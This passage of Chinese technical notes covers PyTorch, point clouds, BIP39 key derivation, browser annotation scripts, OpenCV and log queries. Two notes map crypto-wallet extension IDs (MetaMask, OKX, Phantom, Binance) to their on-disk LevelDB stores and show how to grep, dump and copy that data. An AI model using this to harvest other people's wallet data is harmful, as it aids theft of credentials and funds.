np.array([[0, -1], [1, 0]]) # 旋转 90 度C = A @ B # 先旋转再缩放 x = np.array([1, 0]) print(C @ x) # [0, 2]神经网络中的矩阵 全连接层(Linear 层)的本质就是矩阵乘法加偏置: output = W x input + b一个隐藏层有 128 个神经元、输入维度为 64: import torch import torch.nn as nnlinear = nn.Linear(64, 128) # 内部持有 weight: Tensor (128, 64) 和 bias: Tensor (128,)x = torch.randn(32, 64) # batch_size=32, input_dim=64 y = linear(x) # y.shape = (32, 128)每一层做的都是:把输入向量从一个向量空间线性映射到另一个向量空间。激活函数(ReLU、Sigmoid 等)引入非线性,才让网络能拟合复杂函数。 PyTorch 矩阵运算 import torchA = torch.tensor([[1., 2.], [3., 4.]]) B = torch.tensor([[5., 6.], [7., 8.]])# 矩阵乘法 print(A @ B) # torch.matmul print(torch.mm(A, B)) # 二维矩阵专用# 转置 print(A.T)# 行列式 print(torch.det(A)) # -2.0# 逆矩阵 print(torch.inverse(A))高维 Tensor = 批量矩阵运算 深度学习中输入通常是 3D 以上的 Tensor(batch x dim): # batch matmul:对每个样本独立做矩阵乘法 A = torch.randn(32, 4, 4) # 32 个 4x4 矩阵 B = torch.randn(32, 4, 1) # 32 个列向量 C = torch.bmm(A, B) # (32, 4, 1)torch.bmm 对 batch 中每个矩阵独立相乘,是卷积、Attention 等操作的底层基础。
PyTorch 学习路线:从 Tensor 到训练完整模型
学习阶段规划阶段 时间 目标Python 基础 3~5 天 能写循环、函数、类NumPy 基础 2 天 理解矩阵运算PyTorch Tensor 3 天 会张量计算和 GPU 迁移Autograd 自动求导 2 天 理解梯度和 backwardnn.Module 基础 3 天 会定义 MLP训练流程 3 天 会完整训练和评估CNN 5 天 图片分类Transformer 基础 7 天 理解 Attention项目实战 长期 YOLO、PointNet 等约一个月可以达到能读懂主流论文代码的水平。 为什么从线性回归开始 # 目标:给出面积和房间数,预测房价 area = [80, 100, 120, 150] rooms = [2, 3, 3, 4] price = [120, 180, 220, 300]神经网络就是找一个函数 f,使得 f(area, rooms) ≈ price。PyTorch 的作用是:定义 f 的结构(model) 自动计算 f 的梯度(autograd) 按梯度更新参数,让预测更准确(optimizer)核心训练循环 import torch import torch.nn as nn# 1. 数据 x = torch.tensor([[80, 2], [100, 3], [120, 3], [150, 4]], dtype=torch.float32) y = torch.tensor([120, 180, 220, 300], dtype=torch.float32)# 2. 定义模型 model = nn.Sequential( nn.Linear(2, 16), nn.ReLU(), nn.Linear(16, 1) )# 3. 定义 loss 和 optimizer criterion = nn.MSELoss() optimizer = torch.optim.Adam(model.parameters(), lr=1e-3)# 4. 训练循环 for epoch in range(200): pred = model(x).squeeze() # 前向传播 loss = criterion(pred, y) # 计算 loss optimizer.zero_grad() # 清空上一步的梯度 loss.backward() # 反向传播,计算梯度 optimizer.step() # 按梯度更新参数 if epoch % 50 == 0: print(f"Epoch {epoch}: loss = {loss.item():.2f}")四步缺一不可:zero_grad() → 清除旧梯度(PyTorch 默认累积梯度) backward() → 计算所有参数对 loss 的偏导数 step() → 把参数沿梯度方向更新一步Tensor 基础操作 import torcha = torch.tensor([1.0, 2.0, 3.0]) b = torch.zeros(3, 4) c = torch.randn(2, 3) # 标准正态分布# 形状操作 c.shape # torch.Size([2, 3]) c.reshape(3, 2) c.unsqueeze(0) # 增加维度: [1, 2, 3] c.squeeze() # 去掉维度为 1 的维# GPU device = "cuda" if torch.cuda.is_available() else "cpu" c = c.to(device)常用 Loss 函数任务 Loss 调用回归 MSELoss nn.MSELoss()二分类 BCELoss nn.BCEWithLogitsLoss()多分类 CrossEntropy nn.CrossEntropyLoss()常用 Optimizer # Adam:自适应学习率,大多数情况首选 optimizer = torch.optim.Adam(model.parameters(), lr=1e-3)# AdamW:Adam + 权重衰减,Transformer 常用 optimizer = torch.optim.AdamW(model.parameters(), lr=1e-3, weight_decay=1e-2)# SGD:经典,配合 momentum optimizer = torch.optim.SGD(model.parameters(), lr=0.01, momentum=0.9)保存和加载模型 # 保存权重 torch.save(model.state_dict(), "model.pth")# 加载权重 model.load_state_dict(torch.load("model.pth")) model.eval() # 推理时关闭 dropout 和 BatchNorm 的训练行为入门建议用 model.state_dict() 而不是直接 torch.save(model, ...),后者会把整个模型类序列化,跨环境加载容易出问题。
PyTorch 点云分割:PointNet 到 Point Transformer 的模型选型
三种任务类型任务 输入 输出 典型场景语义分割 点云 每个点的类别 地面/树木/汽车/行人实例分割 点云 每个点的实例 ID 区分两辆不同车辆部件分割 单个物体点云 零件归属 椅子的腿/靠背/坐垫主流模型 PointNet(最经典) 输入 N×3,直接用 MLP 逐点提取特征,全局池化后再输出分割结果: import torch import torch.nn as nnclass PointNet(nn.Module): def __init__(self, num_classes): super().__init__() self.mlp = nn.Sequential( nn.Linear(3, 64), nn.ReLU(), nn.Linear(64, 128), nn.ReLU(), nn.Linear(128, 256) ) self.cls = nn.Linear(256, num_classes) def forward(self, x): # x: [B, N, 3] feature = self.mlp(x) # [B, N, 256] out = self.cls(feature) # [B, N, num_classes] return out预测时取 argmax 得到每个点的标签: pred = out.argmax(dim=-1) # [B, N]其他模型选型模型 核心 适合场景PointNet++ 局部邻域分层学习 室内、激光雷达、工业检测DGCNN KNN 建图 + EdgeConv 精度要求高的分类/分割Point Transformer Transformer Attention SOTA,大型场景MinkowskiNet 稀疏体素 + Sparse CNN 超密点云,速度快数据格式 点云数据通常有三种格式: xyz # 坐标 [x, y, z] xyzrgb # 坐标 + 颜色 [x, y, z, r, g, b] xyz+intensity # 激光雷达:坐标 + 反射强度读入后转 Tensor: import numpy as np import torchpoints = np.load("scan.npy") # (N, 3) x = torch.tensor(points, dtype=torch.float32) # [N, 3] x = x.unsqueeze(0) # [1, N, 3] add batch dimLoss 函数 点云分割本质是逐点分类,直接用 CrossEntropyLoss: criterion = nn.CrossEntropyLoss()# pred: [B, num_classes, N] or reshape to [B*N, num_classes] # label: [B, N]pred_flat = pred.view(-1, num_classes) # [B*N, num_classes] label_flat = label.view(-1) # [B*N]loss = criterion(pred_flat, label_flat)常用公开数据集数据集 场景 用途ShapeNet Part 单物体 部件分割S3DIS 室内 语义分割SemanticKITTI 自动驾驶 激光雷达语义分割ScanNet RGB-D 室内 场景理解工程推荐流程 点云采集 ↓ 预处理(去噪、下采样、法向量估计) ↓ PointNet++ / Point Transformer 训练 ↓ 输出分割结果 ↓ 后处理(聚类、过滤小区域)入门推荐从 PointNet 开始,结构最简单,容易在本地小数据上跑通。确认流程后再换 PointNet++ 提升精度。
PyTorch 训练基础:Tensor、自动求导、训练循环与模型保存
Tensor Tensor 是 PyTorch 的核心数据结构,类似 NumPy 数组但支持 GPU 运算: import torch# 0 维标量 t0 = torch.tensor(3.14)# 1 维向量 t1 = torch.tensor([1.0, 2.0, 3.0])# 2 维矩阵 t2 = torch.zeros(3, 4)# 移到 GPU if torch.cuda.is_available(): t2 = t2.cuda()Dynamic Graph 与 Autograd PyTorch 使用动态计算图(Define-by-Run),每次前向传播都重新构建计算图,便于调试和条件分支。 开启梯度追踪: x = torch.tensor(2.0, requires_grad=True) y = x ** 2 + 3 * xy.backward() # 反向传播 print(x.grad) # dy/dx = 2x + 3 = 7.0标准训练循环 model = MyModel() optimizer = torch.optim.Adam(model.parameters(), lr=0.001) loss_fn = torch.nn.CrossEntropyLoss()for epoch in range(100): for x_batch, y_batch in dataloader: pred = model(x_batch) # 1. 前向传播 loss = loss_fn(pred, y_batch) # 2. 计算损失 optimizer.zero_grad() # 3. 清空上一步梯度 loss.backward() # 4. 反向传播 optimizer.step() # 5. 更新参数 print(f"Epoch {epoch}, Loss: {loss.item():.4f}")zero_grad() 必须在 backward() 前调用,否则梯度会累加。 损失函数选择任务 损失函数 激活函数二分类 BCELoss Sigmoid多分类 CrossEntropyLoss 无(内置 Softmax)回归 MSELoss 无# 二分类:Logistic Regression model = torch.nn.Sequential( torch.nn.Linear(10, 1), torch.nn.Sigmoid() ) loss_fn = torch.nn.BCELoss()# 多分类 model = torch.nn.Sequential( torch.nn.Linear(10, 5) # 5 个类别 ) loss_fn = torch.nn.CrossEntropyLoss() # 内部含 Softmax# 回归 model = torch.nn.Linear(10, 1) loss_fn = torch.nn.MSELoss()优化器 # SGD(基础,需手动调 lr) optimizer = torch.optim.SGD(model.parameters(), lr=0.01)# SGD + Momentum(更稳定) optimizer = torch.optim.SGD(model.parameters(), lr=0.01, momentum=0.9)# Adam(最常用,lr=0.001 通常无需调整) optimizer = torch.optim.Adam(model.parameters(), lr=0.001)# AdamW(Transformer 推荐,带权重衰减修正) optimizer = torch.optim.AdamW(model.parameters(), lr=1e-4, weight_decay=0.01)大多数情况从 Adam + lr=0.001 开始,效果不好再调。 保存与加载模型 推荐:只保存参数(state_dict) # 保存 torch.save(model.state_dict(), "model.pth")# 加载 model = MyModel() model.load_state_dict(torch.load("model.pth")) model.eval() # 切换到推理模式保存完整模型(不推荐,依赖类定义路径): torch.save(model, "model_full.pth") model = torch.load("model_full.pth")导出 ONNX ONNX 格式可在 TensorFlow、ONNX Runtime、TensorRT 等框架中使用: dummy_input = torch.randn(1, 3, 224, 224) # 与实际输入形状一致torch.onnx.export( model, dummy_input, "model.onnx", input_names=["input"], output_names=["output"], opset_version=17 )导出后可用 onnxruntime 推理,速度通常比 PyTorch 原生快。 推理模式 model.eval()with torch.no_grad(): # 禁用梯度计算,节省内存 output = model(input_tensor)推理时必须调 model.eval() 和 torch.no_grad(),否则 BatchNorm 和 Dropout 行为与训练时不同。
BIP39 助记词生成原理与 Python 实现
BIP39 定义了一套将随机数编码为可记忆单词的标准,大多数钱包(MetaMask、Phantom、imToken)都支持。 BIP39 原理生成 128/160/192/224/256 位随机熵 取熵的 SHA-256 哈希前 len/32 位作为校验位,拼接到熵末尾 每 11 位映射一个 BIP39 词表单词(共 2048 个词) 最终得到 12/15/18/21/24 个单词熵长度 校验位 总位数 单词数128 bit 4 bit 132 bit 12256 bit 8 bit 264 bit 24Python 实现(bip-utils) pip install bip-utils从助记词派生以太坊私钥和地址 from bip_utils import ( Bip39SeedGenerator, Bip39MnemonicValidator, Bip44, Bip44Coins, Bip44Changes, )mnemonic = "word1 word2 word3 word4 word5 word6 word7 word8 word9 word10 word11 word12"# 可选:验证助记词是否合法 if not Bip39MnemonicValidator().IsValid(mnemonic): raise ValueError("助记词无效")# 助记词 → 种子(可选 passphrase) seed = Bip39SeedGenerator(mnemonic).Generate(passphrase="")# 种子 → BIP44 派生路径 m/44'/60'/0'/0/0 ctx = Bip44.FromSeed(seed, Bip44Coins.ETHEREUM) addr_ctx = ( ctx.Purpose() .Coin() .Account(0) .Change(Bip44Changes.CHAIN_EXT) .AddressIndex(0) )private_key_hex = addr_ctx.PrivateKey().Raw().ToHex() address = addr_ctx.PublicKey().ToAddress()print(f"私钥: {private_key_hex}") print(f"地址: {address}")派生多个地址 for i in range(5): addr_ctx = ( ctx.Purpose() .Coin() .Account(0) .Change(Bip44Changes.CHAIN_EXT) .AddressIndex(i) ) print(f"[{i}] {addr_ctx.PublicKey().ToAddress()}")Solana(BIP44 Coin 501) from bip_utils import Bip44Coinsctx = Bip44.FromSeed(seed, Bip44Coins.SOLANA) sol_ctx = ctx.Purpose().Coin().Account(0).Change(Bip44Changes.CHAIN_EXT).AddressIndex(0) print(f"Solana 地址: {sol_ctx.PublicKey().ToAddress()}")手动验证 BIP39 校验和(纯 Python) import hashlibdef validate_bip39(mnemonic: str, wordlist_path: str) -> bool: with open(wordlist_path) as f: words = f.read().splitlines() word_index = {w: i for i, w in enumerate(words)} mnemonic_words = mnemonic.strip().split() bits = "" for word in mnemonic_words: if word not in word_index: return False bits += format(word_index[word], "011b") # 最后 len/33 位是校验位 cs_len = len(bits) // 33 entropy_bits = bits[:-cs_len] checksum_bits = bits[-cs_len:] # 还原熵字节 entropy = int(entropy_bits, 2).to_bytes(len(entropy_bits) // 8, "big") # SHA256 前 cs_len 位 h = hashlib.sha256(entropy).digest() expected_cs = format(h[0], "08b")[:cs_len] return checksum_bits == expected_cs注意事项助记词等同于钱包全部资产的控制权,不能在任何联网代码中明文存储 生产环境派生私钥只能在离线机器或 HSM 上操作 仅用于工具开发/验证时,建议使用测试网地址,不要导入真实资产
JS 注入标注快捷键面板:数据驱动 radio 分组与可拖拽悬浮窗
基础版:数字键触发单个标签 click (function () { const labels = ["路中障碍物", "施工区域", "基本可见", "部分可见", "运动", "静上"]; // 防止重复注入 const old = document.getElementById("label-hotkey-panel"); if (old) old.remove(); const panel = document.createElement("div"); panel.id = "label-hotkey-panel"; panel.style.cssText = "position:fixed;top:20px;right:20px;z-index:999999;background:rgba(0,0,0,.85);" + "color:#fff;padding:12px;border-radius:10px;font-size:14px;min-width:220px;"; function getEl(name) { return document.querySelector(`span.label[title="${name}"]`); } labels.forEach((name, idx) => { const row = document.createElement("div"); row.style.cssText = "display:flex;align-items:center;justify-content:space-between;margin:6px 0;"; const info = document.createElement("span"); info.textContent = `[${idx + 1}] ${name}`; const btn = document.createElement("button"); btn.textContent = getEl(name) ? "点击" : "不存在"; btn.style.cssText = `cursor:pointer;border:none;padding:4px 8px;border-radius:6px; background:${getEl(name) ? "#409eff" : "#666"};color:white;`; btn.onclick = () => { const el = getEl(name); el ? el.click() : console.warn("未找到:", name); }; row.append(info, btn); panel.appendChild(row); }); document.body.appendChild(panel); document.addEventListener("keydown", (e) => { const n = parseInt(e.key); if (!isNaN(n) && n >= 1 && n <= labels.length) { const el = getEl(labels[n - 1]); el ? el.click() : console.warn("未找到:", labels[n - 1]); } }); })();数据驱动 radio 分组版(推荐维护方式) 多个分组各自单选,按反引号 ` 执行当前选择: (function () { if (document.getElementById("label-panel")) return; // 只改这里就能增减标签 const groups = { g1: { title: "第一组", options: ["路中障碍物", "施工区域"] }, g2: { title: "第二组", options: ["基本可见", "部分可见", "基本不可见"] }, g3: { title: "���三组", options: ["运动", "禁止"] } }; const panel = document.createElement("div"); panel.id = "label-panel"; panel.style.cssText = "position:fixed;top:20px;right:20px;z-index:999999;background:#fff;" + "border:1px solid #ccc;border-radius:8px;padding:12px;" + "box-shadow:0 0 10px rgba(0,0,0,.2);font-size:14px;width:240px;"; // 动态渲染 HTML const html = Object.entries(groups) .map(([key, group]) => { const radios = group.options .map((opt, idx) => ` <label style="display:block;margin:2px 0;"> <input type="radio" name="${key}" value="${opt}" ${idx === 0 ? "checked" : ""}>${opt} </label>`) .join(""); return `<div style="margin-bottom:8px;"><b>${group.title}</b><div>${radios}</div></div>`; }) .join(""); panel.innerHTML = ` <div style="font-weight:bold;margin-bottom:10px;">标签快捷选择</div> ${html} <hr> <div style="font-size:12px;color:#666;">反引号 = 执行</div> `; document.body.appendChild(panel); function clickLabel(title) { const el = document.querySelector(`span.label[title="${title}"]`); el ? el.click() : console.warn("未找到:", title); } function execute() { Object.keys(groups).forEach(key => { const selected = document.querySelector(`input[name="${key}"]:checked`); if (selected) clickLabel(selected.value); }); } document.addEventListener("keydown", e => { if (["INPUT", "TEXTAREA"].includes(e.target.tagName)) return; if (e.key === "`") { e.preventDefault(); execute(); } if (e.key === "Tab") { e.preventDefault(); document.querySelector('input[type="checkbox"][value="开启高层过滤"]')?.click(); } }); })();添加拖拽与折叠 // 拖动 let dragging = false, ox = 0, oy = 0; panel.addEventListener("mousedown", e => { if (e.target.tagName === "INPUT") return; dragging = true; ox = e.clientX - panel.offsetLeft; oy = e.clientY - panel.offsetTop; }); document.addEventListener("mousemove", e => { if (!dragging) return; panel.style.left = (e.clientX - ox) + "px"; panel.style.top = (e.clientY - oy) + "px"; panel.style.right = "auto"; }); document.addEventListener("mouseup", () => dragging = false);// 折叠 let collapsed = false; panel.querySelector("#toggle-btn").onclick = () => { collapsed = !collapsed; panel.querySelector(".body").style.display = collapsed ? "none" : "block"; };面板头部加折叠按钮: <div style="display:flex;justify-content:space-between;align-items:center;cursor:pointer"> <b>label</b> <span id="toggle-btn">[-]</span> </div> <div class="body">...</div>Python 批量转义 JS 中的汉字 把 JS 文件里的中文字符替换成 \uXXXX,代码仍然可以在浏���器运行: import redef encode_chinese(js): def repl(m): return ''.join(f'\\u{ord(c):04x}' for c in m.group(0)) return re.sub(r'[一-鿿]+', repl, js)js_code = ''' const title = "路中障碍���"; document.querySelector('span.label[title="施工区域"]'); '''print(encode_chinese(js_code)) # const title = "路中障碍物"; # document.querySelector('span.label[title="施工区域"]');只替换汉字,JS 语法和 ASCII 字符保持不变,浏览器完全等价执行。
Chrome 扩展 Local Extension Settings 目录:.log 文件是 LevelDB WAL,不是文本日志
目录结构 在 Windows 上,Chrome/Edge/指纹浏览器的扩展本地存储位于: C:\Users\用户名\AppData\Local\Google\Chrome\User Data\Default\ └── Local Extension Settings\ └── mcohilncbfahbmgdjkbpemcciiolgcge\ ├── 000001.log ├── 008803.log ├── CURRENT ├── LOCK ├── LOG └── MANIFEST-000001这里的 mcohilncbfahbmgdjkbpemcciiolgcge 是扩展的 ID。 .log 文件不是文本日志 008803.log 这类文件是 LevelDB WAL(Write-Ahead Log) 文件,不是普通文本日志。 LevelDB 是 Chrome 用于存储扩展数据(chrome.storage.local、IndexedDB 等)的键值数据库。WAL 文件以二进制格式存储事务日志,内容通常是 protobuf 或 JSON 序列化后的数据。 用 xxd 或十六进制编辑器查看文件头: xxd -l 256 008803.log如果看到 JSON 结构或可读字符串,说明是纯文本 JSON 存储(部分插件会明文存)。如果是乱码二进制,则是 protobuf 等序列化格式。 如何确认扩展 ID 对应哪个插件 方法一:浏览器内查找(最快) chrome://extensions/开启右上角"开发者模式",每个插件卡片下方会显示 ID,搜索目标 ID 即可。 方法二:读取 manifest.json 同一个扩展 ID 目录下找扩展的安装目录: C:\...\Extensions\mcohilncbfahbmgdjkbpemcciiolgcge\1.x.x\manifest.json{ "name": "OKX Wallet", "description": "...", "version": "6.x.x" }方法三:查看 WAL 文件中的可读字符串 部分钱包插件(如 MetaMask、OKX Wallet)的数据会以 JSON 存储,可以直接在 WAL 文件里搜索关键词: strings 008803.log | grep -i "wallet\|token\|address"或者 Python 读取: with open("008803.log", "rb") as f: data = f.read() # 找 JSON 开始位置 start = data.find(b'{') if start != -1: print(data[start:start+500])常见扩展 ID 对应扩展 ID 扩展名nkbihfbeogaeaoehlefnkodbefgpgknn MetaMaskmcohilncbfahbmgdjkbpemcciiolgcge OKX Wallet(Web3)bfnaelmomeimhlpmgjnjophhpkkoljpa Phantomfhbohimaelbohpjbbldcngcnapndodjp Binance Wallet确认后,如果数据目录很大(几十 MB),说明插件本地存了大量数据,可能是交易历史、密钥材料或缓存。
Chromium 扩展的 Local Extension Settings 目录里是什么
Chromium 系浏览器(Chrome、Edge、Brave、指纹浏览器)的用户目录里经常能看到: Default/Local Extension Settings/<extension-id>/ ├── 000003.log ├── 008803.log ├── CURRENT ├── LOCK ├── LOG └── MANIFEST-000002看到 .log 会以为是普通日志文件——其实不是,这是 chrome.storage.local API 底层的 LevelDB 数据文件。 什么是 LevelDB WAL LevelDB 是 Google 出的嵌入式 KV 库,Chromium 用它存扩展的持久数据。文件角色:文件 含义000xxx.log 当前写入的 WAL(Write-Ahead Log)000xxx.ldb 已 compact 完毕的 SSTableCURRENT 指向最新的 MANIFESTMANIFEST-xxx 版本元信息LOG 真正的运行日志LOCK 进程锁.log 是二进制格式的 KV 追加写。用文本编辑器打开会看到一堆乱码 + 部分可见的 JSON 片段——那些片段是扩展存进去的数据。 扩展 ID 反查扩展名 看到目录名是一串 32 字符: mcohilncbfahbmgdjkbpemcciiolgcge想知道是哪个扩展,几个方法: 方法 1:浏览器里查 chrome://extensions/ 打开开发者模式,右上角就能看到每个扩展的 ID。搜刚才那串 ID 就找到了。 方法 2:读 manifest.json 扩展本体在: <UserDataDir>/Default/Extensions/<extid>/<version>/manifest.json打开 manifest: { "name": "OKX Wallet", "version": "3.x.x", "description": "..." }方法 3:看 .log 里的可见字符串 Windows: findstr /C:"name" 000003.logLinux/macOS: strings 000003.log | head -50有些扩展会把 name / apiUrl / host 直接明文写进 storage,能顺出线索。 用代码正经读它 不建议手工解析二进制。装 levelup + leveldown(Node),或者用 Python 的 plyvel: # pip install plyvel import plyveldb = plyvel.DB( r"C:\Users\me\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge", create_if_missing=False, ) for k, v in db: print(k, "=", v[:200]) db.close()注意 Chrome 必须关掉,不然 LOCK 拿不到,Python 会报: plyvel._plyvel.IOError: Lock file existsNode 版: const level = require("level");const db = level("./Local Extension Settings/mcohilncbfahbmgdjkbpemcciiolgcge"); db.createReadStream() .on("data", ({ key, value }) => console.log(key.toString(), value.toString())) .on("end", () => db.close());里面存的是什么 看到的 JSON 值大多是扩展自己 chrome.storage.local.set 存的东西。举例:密码管理器 → 加密后的密码库 广告拦截器 → 规则订阅、白名单 翻译扩展 → 用户偏好、缓存 Web3 钱包(MetaMask / OKX / Phantom 等)→ 加密后的助记词、地址簿、dApp 授权列表Web3 钱包一般用 AES/PBKDF2 之类加密助记词,密码不知道也解不出。但指纹浏览器同步这些数据的时候,就是在拷贝这个目录里的 .log。 迁移扩展数据 想把一个 profile 里的扩展数据搬到另一个 profile,直接关掉 Chrome 后整目录拷过去: xcopy /E /I ^ "C:\Users\A\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\<extid>" ^ "C:\Users\B\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\<extid>"Extensions/<extid> 目录(扩展本体)也要一起拷才能真正生效。 一句话总结 Local Extension Settings/<extid>/000xxx.log = LevelDB 的 WAL 文件,不是文本日志。想看内容用 plyvel/level 打开数据库;想知道是哪个扩展就查 ID 或读 manifest.json。
OpenCV 做辅助标注:模板匹配 + 多尺度 + ORB 特征
有一批已经标好的图片和几张未标的图,想利用现成 ROI 做辅助标注——不需要训练模型、也没有 GPU,OpenCV 就能干。适合数据集初期"边标边攒模板"的阶段。 完整流程 已标注图 → 切出目标 ROI → 模板库 ↓ 未标注图 → 在整图里搜索模板 → 最相似位置 + 置信度 ↓ 自动生成框 → 人工审核按目标形态不同,从简单到复杂选三种方案。 方案 1:单尺度模板匹配(最快) 假设你有一张图和已知的 ROI (x1, y1, x2, y2): import cv2img = cv2.imread("labeled.jpg") template = img[y1:y2, x1:x2] # 切出目标target = cv2.imread("unlabeled.jpg")result = cv2.matchTemplate(target, template, cv2.TM_CCOEFF_NORMED) _, max_val, _, max_loc = cv2.minMaxLoc(result)h, w = template.shape[:2] x, y = max_loc box = [x, y, x + w, y + h] print(f"置信度 {max_val:.3f}, 位置 {box}")TM_CCOEFF_NORMED:归一化相关系数,返回 -1~1,越接近 1 越像 max_val > 0.8 是常见阈值,低于就认为没匹配上优点:一张 5000×5000 大图匹配几毫秒,几千张图几分钟。 致命缺点:对缩放和旋转极其敏感。模板是 100×100 的猫,目标图里是 120×120 的猫,直接找不到。 方案 2:多尺度模板匹配 一次不行就多来几次不同大小: import numpy as np, cv2def multi_scale_match(target, template, scales=np.arange(0.5, 2.0, 0.1)): best = (0, None, None) # (score, box, scale) for scale in scales: w = int(template.shape[1] * scale) h = int(template.shape[0] * scale) if w > target.shape[1] or h > target.shape[0]: continue resized = cv2.resize(template, (w, h)) res = cv2.matchTemplate(target, resized, cv2.TM_CCOEFF_NORMED) _, max_val, _, max_loc = cv2.minMaxLoc(res) if max_val > best[0]: best = (max_val, (max_loc[0], max_loc[1], max_loc[0] + w, max_loc[1] + h), scale) return bestscore, box, scale = multi_scale_match(target, template)15-20 个尺度,能覆盖 50%-200% 的大小变化。速度成倍下降,但可接受。 方案 3:ORB 特征匹配(抗旋转、抗光照) 模板匹配的本质是像素直接对比。要抗旋转 / 光照变化 / 部分遮挡,得上特征点: import cv2orb = cv2.ORB_create(nfeatures=5000)kp1, des1 = orb.detectAndCompute(template, None) kp2, des2 = orb.detectAndCompute(target, None)matcher = cv2.BFMatcher(cv2.NORM_HAMMING, crossCheck=True) matches = matcher.match(des1, des2) matches = sorted(matches, key=lambda m: m.distance)[:30]# 用 findHomography 拿到模板在目标中的位置 if len(matches) >= 10: src_pts = np.float32([kp1[m.queryIdx].pt for m in matches]).reshape(-1, 1, 2) dst_pts = np.float32([kp2[m.trainIdx].pt for m in matches]).reshape(-1, 1, 2) H, mask = cv2.findHomography(src_pts, dst_pts, cv2.RANSAC, 5.0) # 模板四个角在目标图中的位置 h, w = template.shape[:2] corners = np.float32([[0, 0], [w, 0], [w, h], [0, h]]).reshape(-1, 1, 2) projected = cv2.perspectiveTransform(corners, H) print("目标位置四个角:", projected.reshape(-1, 2))ORB 是 SIFT 的开源替代(SIFT 有专利,OpenCV 4.4+ 已解禁但仍需 contrib) findHomography + RANSAC 会过滤掉离群点 汽车、行人、logo 这类有明显纹理的目标效果好;纯色物体(球、气球)不适合特征匹配方案 4:深度特征(更稳) 模板匹配 + ORB 都在传统 CV 范畴。想做语义级别的辅助标注,得走深度模型:DINO / DINOv2 — 自监督预训练的视觉特征提取 CLIP — 语义 embedding,跨模态匹配 SAM / SAM2 — 一键分割任意目标例如用 DINOv2 抽特征做检索: import torch from PIL import Imagedinov2 = torch.hub.load("facebookresearch/dinov2", "dinov2_vitb14") dinov2.eval().cuda()def extract(img_path): img = Image.open(img_path).convert("RGB").resize((224, 224)) x = torch.from_numpy(np.array(img)).permute(2, 0, 1).float().unsqueeze(0) / 255 with torch.no_grad(): return dinov2(x.cuda()).cpu().numpy()emb1 = extract("template.jpg") emb2 = extract("target.jpg") similarity = np.dot(emb1, emb2.T) / (np.linalg.norm(emb1) * np.linalg.norm(emb2))深度特征天生抗光照、抗轻微遮挡、语义相似的东西也能匹上。缺点是需要 GPU + 慢。 组合方案(生产推荐) 辅助标注 pipeline:快速筛选:ORB / DINOv2 找候选图片 精确定位:候选图上跑多尺度 matchTemplate 置信度过滤:只保留 score > 阈值 的框 人工审核:把框显示到 Web UI 让人 confirm比纯人工快 5-10 倍,比纯 CV 准得多。 一句话总结 辅助标注 pipeline:matchTemplate 最快但只抗平移、多尺度 matchTemplate 抗缩放、ORB 抗旋转、深度特征抗一切。从简单到复杂按需上,先跑通再优化。
Linux journalctl 查询日志:时间范围、上下文与 grep 定位
syslog 日志格式没有年份 Nov 15 13:57:05 VM-0-8-centos spring_ruoyi_admin_jar: at org.springframework...Nov 15 13:57:05 只有月日时分秒,没有年份。如果是当前年度的历史日志,通常是前一年或当年的同月。 查看完整时间戳: journalctl -u spring_ruoyi_admin_jar -o short-iso输出带完整 ISO 时间: 2025-11-15T13:57:05+08:00 VM-0-8-centos spring_ruoyi_admin_jar: ...按时间范围查询 # 精确时间段 journalctl -u spring_ruoyi_admin_jar \ --since "2025-11-15 13:52:00" \ --until "2025-11-15 14:02:00"# 最近 10 分钟 journalctl -u spring_ruoyi_admin_jar --since "10 minutes ago"# 今天的日志 journalctl -u spring_ruoyi_admin_jar --since today查看最近 N 条 # 最近 50 条,带完整时间 journalctl -u spring_ruoyi_admin_jar -n 50 -o short-iso实时追踪(类似 tail -f) journalctl -u spring_ruoyi_admin_jar -f关键词上下文查询 查看匹配行前后各 50 行: journalctl -u spring_ruoyi_admin_jar -n 1000 | grep -C 50 "查询简单视图数据失败"-C 50 等价于 --context=50,显示匹配行前后各 50 行。 普通日志文件(非 systemd) grep -nC 快速查上下文 grep -nC 50 "查询简单视图数据失败" /opt/logs/app.log输出: 123400-2025-11-15 13:56:58 INFO ... ... 123450:2025-11-15 13:57:05 ERROR 查询简单视图数据失败 ... 123500-2025-11-15 13:57:12 INFO ...-n 显示行号,-C 50 前后各 50 行。 先找行号再打印范围 # 先找到行号 grep -n "查询简单视图数据失败" app.log # 123456:2025-11-15 13:57:05 ERROR 查询简单视图数据失败# 打印第 123400 到 123500 行 sed -n '123400,123500p' app.log多关键词过滤 有时候真正原因在后面的 Caused by: grep -nC 20 "Caused by" app.log | grep -A 10 "13:57"先找异常根因,再按时间过滤。 Docker 容器日志 # 按时间范围 docker logs --since "2025-11-15T13:52:00" --until "2025-11-15T14:02:00" 容器名# 最近 100 条 docker logs --tail 100 容器名# 实时 docker logs -f 容器名Spring Boot 应用常见排查流程先用 grep -n "ERROR" app.log 找所有错误行号 用 grep -nC 30 "Caused by" app.log 找根本原因 如果有 requestId/traceId,用 grep "traceId=xxx" app.log 找完整请求链路 对照时间和堆栈确认是 DB 异常、Redis 异常还是下游服务超时
Linux 日志时间解析:journalctl 查看完整时间戳
syslog 格式的日志默认不记录年份,看到 Nov 15 13:57:05 无法确认是哪一年。 显示完整年份(ISO 格式) journalctl -u your-service -o short-iso输出示例: 2025-11-15T13:57:05+08:00 hostname service: log message-o short-iso 输出 ISO 8601 格式,包含年份和时区。 按时间范围过滤 journalctl -u your-service \ --since "2025-11-15 13:52:00" \ --until "2025-11-15 14:02:00"查看最近 N 分钟: journalctl -u your-service --since "10 minutes ago"实时跟踪(类似 tail -f): journalctl -u your-service -f查找错误并显示上下文 已知有一条错误日志,想看前后发生了什么: # 找到行号 journalctl -u your-service | grep -n "错误关键字"# 查看前后 50 行 journalctl -u your-service -n 1000 | grep -C 50 "错误关键字"-C 50 = Context 50,显示匹配行前后各 50 行。 普通日志文件的上下文查询 日志在 /opt/logs/app.log: # 找到行号 grep -n "错误关键字" /opt/logs/app.log# 例如输出: 123456:错误关键字 # 查看附近 100 行 sed -n '123400,123500p' /opt/logs/app.log或者直接用 -C 参数: grep -nC 50 "错误关键字" /opt/logs/app.log定位 Java 服务的真实错误原因 Java 的 查询简单视图数据失败 这类消息通常只是表层日志,真正原因在下面的 Caused by:: # 先找到关键字附近 grep -C 100 "查询简单视图数据失败" app.log | grep "Caused by"常见真实原因:Caused by: java.sql.SQLException — SQL 执行失败 Caused by: org.springframework.data.redis.RedisConnectionFailureException — Redis 连接断开 Caused by: feign.RetryableException — 